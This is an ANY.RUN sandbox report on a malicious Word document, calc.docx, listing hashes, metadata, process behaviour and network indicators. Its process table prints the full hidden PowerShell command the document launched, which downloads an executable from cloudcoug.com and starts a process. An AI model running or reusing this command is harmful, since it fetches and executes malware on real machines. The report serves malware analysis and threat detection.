File name:

calc.docx

Full analysis: https://app.any.run/tasks/49e74f7e-e91b-4f15-86cb-e27393df2ae4
Verdict: Malicious activity
Analysis date: November 08, 2019, 13:59:47
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
opendir
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

951EB613C9C0266ADC781499592243E0

SHA1:

F32F91F12E1F0FD08AC0FF8F82CC1C7CB33C6130

SHA256:

836CA597C453492D36294CD6DC72C434B2588A613765888E83865EA21BECA35B

SSDEEP:

192:CtNCAFAJWA3CI1YmkhwFmi4MfXesIJSpkiLWuIPRkQm9dD1o0h:aNjFA/SIHkhwFmRWtJQ+1o0h

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 920)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 920)

    • Executes PowerShell scripts

      • cmd.exe (PID: 1888)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2508)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 920)

    • Manual execution by user

      • explorer.exe (PID: 3744)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 920)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docx | Word Microsoft Office Open XML Format document (52.2)
.zip | Open Packaging Conventions container (38.8)
.zip | ZIP compressed archive (8.8)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0x6cd2a4df
ZipCompressedSize: 346
ZipUncompressedSize: 1312
ZipFileName: [Content_Types].xml

XML

Template: Normal
TotalEditTime: 2 minutes
Pages: 1
Words: 38
Characters: 218
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: 1
ScaleCrop: No
Company: -
LinksUpToDate: No
CharactersWithSpaces: 255
SharedDoc: No
HyperlinksChanged: No
AppVersion: 16
Keywords: -
LastModifiedBy: ALPHA Z011
RevisionNumber: 2
CreateDate: 2019:11:08 13:52:00Z
ModifyDate: 2019:11:08 13:59:00Z

XMP

Title: -
Subject: -
Creator: ALPHA Z011
Description: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
4
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs cmd.exe no specs powershell.exe explorer.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
920"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\calc.docx"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
1888c:\windows\system32\cmd.exe /k powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(‘http://cloudcoug.com/download/Bee_AcrobatPDF_.pdf.exe’,’Bee_AcrobatPDF_.pdf.exe’); Start-Process c:\windows\system32\cmd.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2508powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(‘http://cloudcoug.com/download/Bee_AcrobatPDF_.pdf.exe’,’Bee_AcrobatPDF_.pdf.exe’); Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3744"C:\Windows\explorer.exe" C:\Windows\explorer.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
Total events
2 228
Read events
1 119
Write events
981
Delete events
128

Modification events

(PID) Process:(920) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:3ec
Value:
3365630098030000010000000000000000000000
(PID) Process:(920) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(920) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(920) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(920) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(920) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(920) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(920) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(920) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(920) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1332215870
Executable files
0
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
920WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA533.tmp.cvr —
MD5:—
SHA256:—
2508powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JX8WNJRFO9YY6HC0PGQZ.temp —
MD5:—
SHA256:—
920WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
920WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$calc.docxpgc
MD5:—
SHA256:—
2508powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39c3c7.TMPbinary
MD5:—
SHA256:—
2508powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2508
powershell.exe
GET
—
162.210.96.116:80
http://cloudcoug.com/download/Bee_AcrobatPDF_.pdf.exe
US
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2508
powershell.exe
162.210.96.116:80
cloudcoug.com
Steadfast
US
unknown

DNS requests

Domain
IP
Reputation
cloudcoug.com
  • 162.210.96.116
unknown

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
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Reports
calc.docx